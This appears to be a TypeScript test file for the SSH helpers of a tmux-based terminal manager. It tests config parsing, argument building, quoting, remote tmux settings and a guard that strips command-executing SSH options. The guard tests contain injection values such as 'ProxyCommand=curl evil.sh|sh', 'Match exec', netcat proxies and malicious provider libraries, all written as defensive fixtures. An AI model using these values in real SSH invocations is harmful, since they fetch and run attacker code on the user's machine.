Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
import { describe, expect, it } from 'vitest'
import {
buildSshArgs,
parseExtraArgs,
stripLocalExecArgs,
parseSshConfig,
posixQuote,
quoteRemotePath,
remoteTmuxCommand,
remoteTmuxConf,
parseLsDirs,
sshAttachmentId,
sshChipRepeatsProject,
sshConnectionIdForProject,
sshHostKey
} from './ssh'
import { leadPaneHookLines } from './tmux-lead-pane'
describe('sshHostKey', () => {
it('is user@host', () => {
expect(sshHostKey({ host: 'box.example.com', user: 'bob' })).toBe('[email protected]')
})
it('ignores port + identity (same remote $HOME → same key)', () => {
expect(sshHostKey({ host: 'h', user: 'u', port: 22 } as never)).toBe(
sshHostKey({ host: 'h', user: 'u', port: 2222 } as never)
)
})
})
describe('sshAttachmentId', () => {
it('shares one scope per project and endpoint without exposing the host in a filename', () => {
const a = sshAttachmentId('project-1', { host: 'ubuntu.lan', user: 'corvin', port: 22 })
expect(a).toBe(sshAttachmentId('project-1', { host: 'ubuntu.lan', user: 'corvin' }))
expect(a).not.toContain('ubuntu.lan')
expect(a).not.toBe(sshAttachmentId('project-2', { host: 'ubuntu.lan', user: 'corvin' }))
expect(a).not.toBe(sshAttachmentId('project-1', { host: 'ubuntu.lan', user: 'other' }))
})
it('separates two ports on the same host (two different sshd instances)', () => {
expect(sshAttachmentId('p', { host: 'h', user: 'u', port: 22 })).not.toBe(
sshAttachmentId('p', { host: 'h', user: 'u', port: 2222 })
)
})
it('is filesystem-safe: the ControlMaster socket path is built from it', () => {
expect(sshAttachmentId('p1', { host: 'a.very.long.hostname.example.com', user: 'u' })).toMatch(
/^attached-p1-[0-9a-f]{8}$/
)
})
})
describe('sshConnectionIdForProject', () => {
const ubuntu = { host: 'devbox', user: 'corvin', port: 2222 }
it('uses the project id when the project itself lives on that SSH endpoint', () => {
expect(sshConnectionIdForProject('project-1', ubuntu, { ...ubuntu })).toBe('project-1')
})
it('a node with no host is never served from the project (unroutable fails safe)', () => {
// `undefined === undefined` would otherwise hand a hostless node a LOCAL project's id — a
// master that was never opened for it. Failing as an attachment ends at `requireRemote`.
// `undefined` specifically: a LOCAL project passes no server at all, so `projectServer?.host`
// is also undefined and the two compare EQUAL.
const hostless = { host: undefined, user: 'corvin' } as unknown as typeof ubuntu
expect(sshConnectionIdForProject('local-1', hostless)).not.toBe('local-1')
expect(sshConnectionIdForProject('local-1', hostless)).toBe(
sshAttachmentId('local-1', hostless)
)
// An empty host is just as unroutable.
const empty = { host: '', user: 'corvin' } as unknown as typeof ubuntu
expect(sshConnectionIdForProject('local-1', empty)).not.toBe('local-1')
})
it('a LOCAL project has no binding, so every remote node on it is an attachment', () => {
expect(sshConnectionIdForProject('local-1', ubuntu, undefined)).toBe(
sshAttachmentId('local-1', ubuntu)
)
})
it('uses the host attachment when a remote node lives in a local project', () => {
expect(sshConnectionIdForProject('project-1', ubuntu)).toBe(sshAttachmentId('project-1', ubuntu))
})
it('serves a node naming the same HOST from the project, whatever user it was saved with', () => {
// An SSH project's canvas lives in `<remoteCwd>/.nodeterm/project.json` ON THE HOST, shared
// with everyone who opens that folder — so a node's persisted `user` is whoever CREATED it.
// If alice's nodes sent bob off to open a second master as `alice@box`, bob's whole canvas
// would fail (or sit on an askpass prompt) the moment he opened the project.
expect(
sshConnectionIdForProject('project-1', { host: 'devbox', user: 'alice', port: 2222 }, ubuntu)
).toBe('project-1')
// Same for a port saved from a setup that reaches the machine differently.
expect(
sshConnectionIdForProject('project-1', { host: 'devbox', user: 'corvin', port: 22 }, ubuntu)
).toBe('project-1')
})
it("does not reuse an SSH project's connection for a node on another endpoint", () => {
expect(
sshConnectionIdForProject('project-1', ubuntu, {
host: 'another-host',
user: 'corvin',
port: 2222
})
).toBe(sshAttachmentId('project-1', ubuntu))
})
it('never returns the project id for a node the project cannot serve', () => {
// The regression this guards: an attached node resolving the LOCAL project's (absent) master
// and, with no `sshRemote`, degrading into a local shell wearing the remote node's identity.
expect(sshConnectionIdForProject('local-project', ubuntu)).not.toBe('local-project')
})
})
describe('sshChipRepeatsProject', () => {
const project = { host: '95.217.38.239', user: 'root' }
it('hides the chip on an SSH-project terminal of that same host', () => {
expect(sshChipRepeatsProject(project, true, project)).toBe(true)
})
it('hides it for a remote-tmux node saved under another user: it runs as the project user', () => {
// `sshConnectionIdForProject` serves it from the project's master, so a chip naming the
// creator's user would not just repeat the project — it would be wrong.
expect(sshChipRepeatsProject({ host: '95.217.38.239', user: 'alice' }, true, project)).toBe(true)
})
it('keeps it for a plain `ssh` node as a DIFFERENT user on the same host', () => {
// That node runs its own local `ssh alice@host`, so the user is real information.
expect(sshChipRepeatsProject({ host: '95.217.38.239', user: 'alice' }, false, project)).toBe(
false
)
expect(sshChipRepeatsProject(project, false, project)).toBe(true)
})
it('keeps it for a node on another host (a host attachment)', () => {
expect(sshChipRepeatsProject({ host: 'devbox', user: 'root' }, true, project)).toBe(false)
})
it('keeps it in a LOCAL project, where nothing else says the node is remote', () => {
expect(sshChipRepeatsProject(project, false, undefined)).toBe(false)
expect(sshChipRepeatsProject(project, true, undefined)).toBe(false)
})
it('a hostless node never matches (undefined === undefined is not a match)', () => {
const hostless = { host: undefined, user: 'root' } as unknown as typeof project
expect(sshChipRepeatsProject(hostless, true, undefined)).toBe(false)
expect(sshChipRepeatsProject({ host: '', user: 'root' }, true, { host: '', user: 'root' })).toBe(
false
)
})
})
describe('parseSshConfig', () => {
it('parses a named host with HostName/User/Port/IdentityFile', () => {
const cfg = `Host prod
HostName 10.0.0.5
User deploy
Port 2222
IdentityFile ~/.ssh/prod_ed25519`
expect(parseSshConfig(cfg)).toEqual([
{ label: 'prod', host: '10.0.0.5', user: 'deploy', port: 2222, identityFile: '~/.ssh/prod_ed25519' }
])
})
it('falls back to the alias when HostName is absent and leaves optional fields undefined', () => {
expect(parseSshConfig('Host box\n User me')).toEqual([
{ label: 'box', host: 'box', user: 'me', port: undefined, identityFile: undefined }
])
})
it('skips wildcard hosts and the catch-all', () => {
const cfg = `Host *
User everyone
Host *.internal
User x
Host real
HostName r.example.com`
expect(parseSshConfig(cfg)).toEqual([
{ label: 'real', host: 'r.example.com', user: undefined, port: undefined, identityFile: undefined }
])
})
it('accepts key=value form, comments, and multiple aliases on one Host line', () => {
const cfg = `Host a b # two aliases
HostName=h.example.com
Port=22`
expect(parseSshConfig(cfg)).toEqual([
{ label: 'a', host: 'h.example.com', user: undefined, port: 22, identityFile: undefined },
{ label: 'b', host: 'h.example.com', user: undefined, port: 22, identityFile: undefined }
])
})
})
describe('buildSshArgs', () => {
it('minimal host/user', () => {
expect(buildSshArgs({ host: 'example.com', user: 'alice' })).toEqual([
'-p',
'22',
'[email protected]'
])
})
it('custom port + identity file', () => {
expect(
buildSshArgs({ host: 'h', user: 'u', port: 2222, identityFile: '/keys/id_ed25519' })
).toEqual(['-p', '2222', '-i', '/keys/id_ed25519', 'u@h'])
})
it('TRUSTED extra args are tokenized and inserted before the target', () => {
expect(
buildSshArgs({ host: 'h', user: 'u', extraArgs: '-A -o ServerAliveInterval=30', execTrusted: true })
).toEqual(['-p', '22', '-A', '-o', 'ServerAliveInterval=30', 'u@h'])
})
})
describe('parseExtraArgs', () => {
it('respects single and double quotes', () => {
expect(parseExtraArgs(`-o "ProxyCommand=ssh -W %h:%p bastion" -A`)).toEqual([
'-o',
'ProxyCommand=ssh -W %h:%p bastion',
'-A'
])
})
it('empty/undefined → []', () => {
expect(parseExtraArgs(undefined)).toEqual([])
expect(parseExtraArgs(' ')).toEqual([])
})
})
describe('posixQuote', () => {
it('single-quotes and escapes embedded quotes', () => {
expect(posixQuote(`a b`)).toBe(`'a b'`)
expect(posixQuote(`it's`)).toBe(`'it'\\''s'`)
})
})
describe('quoteRemotePath', () => {
it('leaves a bare ~ unquoted so the remote shell expands it', () => {
expect(quoteRemotePath('~')).toBe('~')
})
it('keeps a leading ~/ unquoted and single-quotes the remainder', () => {
expect(quoteRemotePath('~/a b')).toBe(`~/'a b'`)
})
it('a bare ~/ stays ~/', () => {
expect(quoteRemotePath('~/')).toBe('~/')
})
it('fully quotes an absolute path (byte-identical to posixQuote)', () => {
expect(quoteRemotePath('/srv/x')).toBe(`'/srv/x'`)
})
it('only a leading ~ or ~/ is special — ~weird is fully quoted', () => {
expect(quoteRemotePath('~weird')).toBe(`'~weird'`)
})
})
describe('remoteTmuxCommand', () => {
it('builds attach-or-create on the remote socket with a quoted cwd', () => {
expect(remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '/srv/app' })).toBe(
`tmux -L node-terminal new-session -A -s 'nt-x' -c '/srv/app'`
)
})
it('tilde-expands a home-relative cwd (leaves ~/ unquoted)', () => {
expect(remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '~/project' })).toBe(
`tmux -L node-terminal new-session -A -s 'nt-x' -c ~/'project'`
)
})
it('appends a quoted program + args when given', () => {
expect(
remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '/a', program: 'ssh', programArgs: ['-A', 'h'] })
).toBe(`tmux -L node-terminal new-session -A -s 'nt-x' -c '/a' 'ssh' '-A' 'h'`)
})
})
describe('remoteTmuxConf', () => {
const c = remoteTmuxConf(50000)
it('leaves the mouse ON — tmux owns scrolling and selection (native, alternate screen)', () => {
expect(c).toContain('set -g mouse on')
expect(c).not.toContain('set -g mouse off')
})
it('does not blank smcup/rmcup/indn', () => {
expect(c).not.toContain('smcup@')
expect(c).not.toContain('rmcup@')
expect(c).not.toContain('indn@')
})
it('enables OSC 52 via terminal-features, NOT the Ms= override (a no-op on tmux 3.2+)', () => {
// This is what finally makes copying work over SSH: tmux emits OSC 52 to the attached client,
// whose handler writes the LOCAL clipboard. Measured: with `Ms=`, tmux emitted nothing.
expect(c).toContain('set -g set-clipboard on')
expect(c).toContain('set -as terminal-features ",*:clipboard"')
expect(c).not.toContain('Ms=')
// The only terminal-overrides mention allowed is the MIGRATION unset — never a new entry.
expect(c).not.toMatch(/set -g[a]? terminal-overrides/)
expect(c).not.toMatch(/set -a[gs]? terminal-overrides/)
})
it('declares RGB via terminal-features and sets COLORTERM so truecolor survives SSH (issue #78)', () => {
// Without RGB, the remote tmux quantizes 24-bit SGR to 256 colors before it ever reaches our
// renderer. COLORTERM rides the server's GLOBAL env (this conf is source-filed at connect,
// before sessions exist), so programs inside the panes see the handshake too.
expect(c).toContain('set -as terminal-features ",*:RGB"')
expect(c).toContain('set-environment -g COLORTERM truecolor')
})
it('declares hyperlinks via terminal-features so OSC 8 links reach the renderer', () => {
// tmux strips the OSC 8 escape unless the outer terminal declares support, leaving only the
// label text — a link whose URL is not also printed can then never be opened.
expect(c).toContain('set -as terminal-features ",*:hyperlinks"')
})
it('clears the override/feature arrays a long-lived server accumulated from older versions', () => {
// A tmux server outlives the app and keeps every entry ever sourced into it; the stale
// smcup@/rmcup@/indn@ entries would otherwise keep breaking scrolling forever. Measured:
// sourcing these unsets into a poisoned server restored the alternate screen for new clients.
expect(c).toContain('set -su terminal-overrides')
expect(c).toContain('set -su terminal-features')
})
it('copies mouse selections through tmux, with no pbcopy (it would run on the remote host)', () => {
expect(c).toContain('bind -T copy-mode MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel')
expect(c).toContain('bind -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel')
expect(c).toContain('DoubleClick1Pane send-keys -X select-word')
expect(c).toContain('TripleClick1Pane send-keys -X select-line')
expect(c).not.toContain('pbcopy')
})
it('floors history-limit at 1000', () => {
expect(remoteTmuxConf(10)).toContain('set -g history-limit 1000')
expect(remoteTmuxConf(50000)).toContain('set -g history-limit 50000')
})
it('lead-pane width OFF (default/0/invalid) is byte-identical and carries no set-hook (issue #119)', () => {
// The opt-in guarantee: nodeterm ships no tmux hooks unless the user turned the setting on,
// and the off path must be bit-for-bit the pre-feature conf.
expect(remoteTmuxConf(50000, 0)).toBe(c)
expect(remoteTmuxConf(50000, NaN)).toBe(c)
expect(c).not.toContain('set-hook')
})
it('lead-pane width ON only APPENDS the shared guarded hook pair', () => {
const on = remoteTmuxConf(50000, 72)
expect(on.startsWith(c)).toBe(true)
expect(on).toContain(leadPaneHookLines(72))
})
it('does NOT list the account-scope names in update-environment (they are LOCAL-conf only)', () => {
// A remote session's account env arrives via `-e` on the ssh-exec'd create; the attaching
// client's own env is the remote LOGIN SHELL's, which never carries our account dirs. Listing
// the names here would make every reattach copy/strip against that wrong environment —
// stripping a managed remote account's CLAUDE_CONFIG_DIR out of its own session. The local
// conf lists them (ACCOUNT_SCOPE_UPDATE_ENV in pty-manager, issue #419); this pin is what
// keeps a future "unify the two confs" cleanup from exporting the fix to the wrong side.
for (const name of ['CLAUDE_CONFIG_DIR', 'CODEX_HOME', 'NODETERM_CODEX_ACCOUNT_ID']) {
expect(c).not.toContain(name)
}
})
})
describe('remoteTmuxCommand confPath', () => {
it('adds -f <confPath> before new-session when given', () => {
const cmd = remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '~/app', socket: 'nodeterm-rmt', confPath: '/home/u/.nodeterm/tmux.conf' })
expect(cmd).toContain(`-f '/home/u/.nodeterm/tmux.conf' new-session`)
})
it('omits -f when no confPath', () => {
const cmd = remoteTmuxCommand({ sessionId: 'nt-x', remoteCwd: '~/app', socket: 'nodeterm-rmt' })
expect(cmd).not.toContain('-f ')
})
})
describe('parseLsDirs', () => {
it('keeps only directory entries from `ls -1Ap`, dropping ./ and ../', () => {
expect(parseLsDirs('./\n../\nsrc/\nREADME.md\n.git/\nbin/\n')).toEqual(['.git', 'bin', 'src'])
})
})
// The exec-site guard (the `permissionModeFlag` / `SAFE_SESSION_ID` idiom: re-validate where the
// value BECOMES a command). `ssh -o ProxyCommand=<cmd>` runs `<cmd>` LOCALLY through /bin/sh every
// time the node opens — so a value that did not come from this machine never gets to carry one.
describe('stripLocalExecArgs', () => {
it('drops ProxyCommand in both spellings, and takes its value with it', () => {
expect(stripLocalExecArgs(parseExtraArgs('-o "ProxyCommand=curl evil.sh|sh"'))).toEqual({
args: [],
dropped: ['-o', 'ProxyCommand=curl evil.sh|sh']
})
// `-oProxyCommand=…` is the same option written without the space.
expect(stripLocalExecArgs(['-oProxyCommand=nc %h %p']).args).toEqual([])
// …and the space-separated value form (`-o "ProxyCommand nc %h %p"`).
expect(stripLocalExecArgs(['-o', 'ProxyCommand nc %h %p']).args).toEqual([])
})
it('drops the other options that make something execute', () => {
for (const opt of [
'LocalCommand=evil',
'PermitLocalCommand=yes',
'KnownHostsCommand=evil',
'Include=/tmp/evil-config',
'PKCS11Provider=/tmp/evil.so',
'SecurityKeyProvider=/tmp/evil.so',
'RemoteCommand=evil'
]) {
expect(stripLocalExecArgs(['-o', opt]).args).toEqual([])
}
// `Match exec "<cmd>"` runs <cmd> locally to decide whether the block applies.
expect(stripLocalExecArgs(['-o', 'Match exec "curl evil.sh|sh"']).args).toEqual([])
// An alternate ssh_config can carry any of the above.
expect(stripLocalExecArgs(['-F', '/tmp/evil-config']).args).toEqual([])
expect(stripLocalExecArgs(['-F/tmp/evil-config']).args).toEqual([])
})
it('leaves every harmless arg untouched (a jump host, a keepalive, verbosity)', () => {
const ok = parseExtraArgs('-A -v -J jump.example -o StrictHostKeyChecking=no -o ServerAliveInterval=30')
expect(stripLocalExecArgs(ok)).toEqual({ args: ok, dropped: [] })
})
it('keeps the harmless args of a list that also carries an exec-enabling one', () => {
const { args, dropped } = stripLocalExecArgs(
parseExtraArgs('-A -o ProxyCommand=evil -o ServerAliveInterval=30')
)
expect(args).toEqual(['-A', '-o', 'ServerAliveInterval=30'])
expect(dropped.length).toBeGreaterThan(0)
})
})
describe('buildSshArgs exec guard', () => {
const base = { host: 'h', user: 'u' }
it('refuses an untrusted ProxyCommand (a cloned project.json / a canvas-sync peer)', () => {
expect(buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=curl evil.sh|sh' })).toEqual([
'-p', '22', 'u@h'
])
})
it('honors the local user\'s OWN ProxyCommand (a corporate jump host still works)', () => {
expect(
buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=corp-proxy %h', execTrusted: true })
).toEqual(['-p', '22', '-o', 'ProxyCommand=corp-proxy', '%h', 'u@h'])
})
// An untrusted list contributes NOTHING, whether or not it carries an exec-enabling option.
it('degrades, never blocks — and contributes no untrusted tokens', () => {
expect(buildSshArgs({ ...base, port: 2222, extraArgs: '-A -o ProxyCommand=evil' })).toEqual([
'-p', '2222', 'u@h'
])
expect(buildSshArgs({ ...base, extraArgs: '-o ProxyCommand=curl evil.sh|sh' })).toEqual([
'-p', '22', 'u@h'
])
// Even with nothing exec-enabling in it, an untrusted list is dropped whole: `-A`/`-J` from a
// document are unwanted, and a bare positional would be read by ssh as the destination.
expect(buildSshArgs({ ...base, extraArgs: '-A -J jump.example' })).toEqual([
'-p', '22', 'u@h'
])
// A bare positional token: with no exec option it survives stripLocalExecArgs (dropped=[]), so
// the OLD code passed it through and ssh took `evilhost` as the destination instead of u@h.
expect(buildSshArgs({ ...base, extraArgs: 'evilhost' })).toEqual(['-p', '22', 'u@h'])
})
})